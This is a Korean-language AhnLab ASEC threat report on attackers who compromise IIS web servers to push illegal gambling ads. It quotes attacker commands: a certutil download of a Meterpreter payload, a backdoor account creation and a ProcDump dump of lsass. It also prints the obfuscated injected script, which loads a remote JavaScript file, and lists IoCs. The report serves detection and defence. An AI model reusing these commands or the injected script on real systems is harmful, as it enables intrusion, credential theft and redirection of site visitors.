AhnLab SEcurity intelligence Center(ASEC)은 국내 웹 서버 대상으로 불법 도박 광고 사이트 연결을 유도하는 악성코드 유포 정황을 확인하였다. 공격자는 부적절하게 관리되고 있는 국내의 윈도우 IIS(Internet Information Services) 웹 서버 최초 침투 이후 미터프리터 백도어, 포트 포워딩 도구, IIS 모듈 악성코드 도구 설치 및 ProcDump를 이용한 서버의 자격 증명 정보를 탈취하였다. IIS 모듈이란 인증, HTTP 응답, 로깅 등 웹 서버의 확장 기능을 지원하는 모듈이다. ISS C++ API 혹은 ASP.NET 2.0 API를 사용하여 모듈 개발이 가능하다.
이번에 확인된 IIS 모듈 악성코드는 모듈이 설치된 웹 서버에 대한 HTTP 헤더의 문자열을 감시하고 특정 조건에 변조된 응답 값을 보내 국내 및 중국 검색 포털 사이트에 불법 도박 사이트 광고를 노출하게 한다. 그리고 사용자가 해당 링크 클릭 시 불법 도박 사이트로 연결을 유도하는 기능을 수행한다.
1. 미터프리터 백도어
공격자는 웹 서버에 미터프리터 백도어를 설치하기 전 ipconfig, systeminfo 등 다양한 정상 유틸리티를 실행하였다. 이는 공격자가 IIS 모듈 악성코드 설치 전에 공격 대상의 정보 수집을 위한 목적으로 보인다. 아래 [표 1]은 타임라인에 따른 공격자가 사용한 명령이다.
명령 실행 시각 | CMD 실행 명령 |
---|---|
2024.04.09 03:43:12 | ipconfig |
2024.04.09 03:45:32 | systeminfo |
2024.04.09 03:45:49 | whoami |
2024.04.09 03:56:20 | powershell whoami |
2024.04.09 04:17:13 | hostname |
2024.04.09 04:17:21 | net1 user |
2024.04.09 04:17:42 | query user |
2024.04.09 04:22:10 | ping 45.154.12.215 |
2024.04.09 04:23:18 | curl |
2024.04.09 04:23:56 | certutil |
2024.04.09 04:28:20 | certutil -urlcache -split -f hxxp://m****k*****l[.]com/msf.txt |
2024.04.09 04:32:20 | %ALLUSERSPROFILE%\xx.txt |
미터프리터 백도어는 공격자의 IP와 Port 번호를 전달받아 실행된다. 백도어 코드 분석 결과 공격자 서버 통신을 수행하여 쉘코드 수신 및 실행하였을 것으로 추정된다.
2. HTran (포트 포워딩 도구)
미터프리터 백도어 설치 이후 공격자는 추가적으로 w3wp.exe 프로세스를 통해 HTran 유틸리티를 설치하였다. HTran은 Github에 소스코드 가 공개된 포트 포워딩 도구이다. 포트 포워딩이란 특정 포트로 전달받은 데이터를 다른 포트로 전달하는 기능이다. 공격자에 따라 다양하게 활용될 수 있지만 HTran을 사용하는 사례 대부분의 케이스에서 RDP 포트로 원격 통신을 하기 위해 주로 사용하는 것으로 알려져 있다.
미터프리터 백도어, HTran 포트포워딩 도구까지 설치한 후 공격자는 공격 대상 시스템에 대한 지속성 유지 및 거점 확보를 위해 net 명령으로 공격자 계정을 생성하였다. 따라서 공격자는 공격 대상 웹 서버의 자격 증명 정보가 없더라도 공격자 계정을 생성하였으므로 외부에서 쉽게 웹 서버에 접근할 수 있을 것이다.
명령 실행 시각 | CMD 실행 명령 (계정 추가) |
---|---|
2024.04.09 05:04:51 | net user kr$ test123!@# /add |
공격 대상에 대한 최초 접근부터 거점 확보 및 지속성 유지까지 웹 서버를 장악하는 데 걸린 시간은 2시간이 채 걸리지 않았다. 공격자는 지속성 유지 이후에 IIS 모듈 악성코드를 생성하였다.
3. IIS 모듈 악성코드
일반적으로 IIS 모듈은 C:\Windows\System32\inetsrv 경로에 DLL 형태로 존재하며 IIS 워커(Worker) 프로세스인 w3wp.exe에 로드되어 동작한다. w3wp.exe에 로드되어 동작하기 위해서는 IIS C++ API를 사용 및 Export 함수에 RegisterModule를 포함해야 한다. 그리고 모듈이 동작하면 해당 IIS 웹 서버가 요청받는 HTTP 헤더에 대한 정보들이 RegisterModule에 존재하는 이벤트 핸들러에 전달된다. 이때 각 핸들러에서 HTTP 헤더에 대한 요청을 처리할 수 있다. 발견된 악성코드는 여러 핸들러 값 중 OnSendResponse 핸들러에 악성코드를 삽입하여 IIS 웹 서버의 SendResponse 이벤트가 발생할 때마다 악성 핸들러(sub_7FFB3DB7E840)가 실행되도록 하였다.
OnSendResponse
-> Represents the method that will handle a SendResponse event, which occurs when IIS sends the response buffer.
설치된 악성코드는 해당 웹 서버로 요청되는 HTTP 헤더 정보에 대한 응답 값 조작한다. 수신한 HTTP 헤더의 User-Agent, Referer 등의 값을 참고하여 웹 페이지 유입 경로를 확인하고 특정 검색 포털 사이트와 관련된 문자열을 포함하고 있을 경우 요청에 대한 응답 값으로 정상 웹 페이지가 아닌 온라인 불법 도박 관련 페이지로 접근하도록 하였다.
침해된 국내 웹사이트 정보를 포털 검색 사이트에서 검색 시 아래 [그림 7]과 같이 온라인 불법 도박 관련 페이지들이 노출된다.
검색 포털 사이트에 웹 사이트가 노출되기 위해서는 검색 엔진에 웹 서버가 노출되어야 한다. 검색 엔진이 웹 페이지에 접근하고 정보를 수집하는 과정에서 검색 엔진의 HTTP 헤더 정보가 웹 서버에 전달되며 악성코드는 헤더 값이 특정 키워드에 매칭될 경우 검색 엔진에서 접근을 요청하는 것으로 판단하고 온라인 불법 도박 페이지의 Title, Keyword, Description의 메타 태그 정보를 검색 엔진에 전달한다.
이로 인해 포털 사이트에 정상 사이트 검색을 하였음에도 온라인 불법 도박 관련 페이지가 노출되는 것이다. 아래 정보는 악성코드가 검증하는 검색 엔진과 그 밖의 주요 기능에 대한 설명이다.
[1] 특정 키워드에 일치할 경우 “hxxps://ll.olacityviet.com/av.js”로 연결하는 스크립트 응답 전송
User-Agent 헤더에 아래 키워드 포함 여부 확인
– naver|sogou|360|yisou|daum|google|coccoc
Referer 헤더에 아래 키워드 포함 여부 확인
– naver.com|so.com|sogou.com|sm.cn|daum.net|google|coccoc
[2] HTTP 헤더의 쿠키 정보 탈취
아래 난독화 스크립트 코드는 HTTP 접근에 대한 응답 값으로 악성코드가 정상 응답 값에 삽입하는 코드이다. 해당 코드에 의해 사용자는 온라인 불법 도박 사이트 주소로 연결된다.
<script type = "text/javascript"> eval(function(p, a, c, k, e, r) {
e = function(c) {
return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if (!''.replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [function(e) {
return r[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--)
if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p
}('m(d(p,a,c,k,e,r){e=d(c){f c.n(a)};h(!\'\'.i(/^/,o)){j(c--)r[e(c)]=k[c]||e(c);k=[d(e){f r[e]}];e=d(){f\'\\\\w+\'};c=1};j(c--)h(k[c])p=p.i(q s(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);f p}(\'1["2"]["3"](\\\'<0 4="5/6" 7="8://9.a/b.c"></0>\\\');\',l,l,\'t|u|v|x|y|z|A|B|C|D|E|F|G\'.H(\'|\'),0,{}))', 44, 44, '|||||||||||||function||return||if|replace|while||13|eval|toString|String||new||RegExp|script|window|document||write|type|text|javascript|src|https|ll.olacityviet|com|av|js|split'.split('|'), 0, {})) </script>
복호화 코드는 아래와 같다.
document.write('<script src="hxxps://ll.olacityviet.com/av[.]js"></script>');
현재는 온라인 불법 도박 관련 페이지로 연결되지만 응답 스크립트에 따라 다른 악성 행위를 수행할 수 있으므로 각별한 주의가 필요하다.
4. ProcDump 악용 정황
공격자는 IIS 모듈 악성코드 설치 이후 Procdump를 이용하여 현재 웹 서버의 lsass.exe 프로세스 메모리를 덤프하는 행위를 수행하였다. 이는 Mimikatz와 유사한 자격 증명 정보를 탈취하는 행위이며 웹 서버와 연결된 다른 서버로 측면 이동을 위해 사용하였을 것으로 추정된다.
명령 실행 시각 | CMD 실행 명령 |
---|---|
2024.04.10 00:20:44 | %ALLUSERSPROFILE%\p.exe -accepteula -ma lsass.exe C:\ProgramData\xxx.zip |
5. 결론
공격자는 부적절하게 관리되고 있는 윈도우 웹 서버를 대상으로 초기 침투를 시도하였으며 이후 거점 확보, 지속성 유지, 목표 달성, 내부 측면 이동을 위한 자격 증명 정보를 획득하였다. 현재는 쇼단, FOFA와 같은 검색 엔진으로 전 세계에 인터넷으로 연결된 디바이스들의 IP, 포트, 사용중인 서비스, 운영체제 정보들을 쉽게 확인할 수 있다. 공격자 또한 이러한 검색 엔진을 통해 공격 대상을 물색할 것으로 추정된다. 따라서 기업 보안 담당자는 공격 표면 관리(Attack Surface Management)를 통해 공격자에게 노출될 수 있는 자산을 식별하고 지속적으로 최신 보안 패치 등 관리를 해야한다.
파일 진단
미터프리터 백도어
– Trojan/Win.Meterpreter.C644410 (2024.04.09.02)
IIS 모듈 악성코드 (x64)
– Trojan/Win.Generic.C5408521 (2023.04.10.02)
IIS 모듈 악성코드 (x86)
– Trojan/Win.Backdoor.C578523 (2023.01.18.03)
IoC
MD5
미터프리터 백도어
– d5312ab7f01fd74d399c392effdfe437
IIS 모듈 악성코드 (x64)
– ebeb931a6dd91a227225f0ff92142f2b
IIS 모듈 악성코드 (x86)
– 28dd72e322f6be382dac4fa9eb5cd09b
C&C 주소
미터프리터 백도어 C&C 주소
– 43.156.50[.]76
온라인 불법 도박 연결 관련 주소
– hxxp://ll.olacityviet[.]com
– hxxp://jsc.olacityviet[.]com
– hxxps://ll.olacityviet[.]com/av.js
연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.
Categories:악성코드 정보
[…] 2024년 4월 24일 게시한 “국내 웹 서버 대상 불법 도박 광고 사이트 연결 악성코드 유포 사례” 게시글을 보면 공격자는 윈도우 정상 유틸리티 (cmd, certutil)를 통해 […]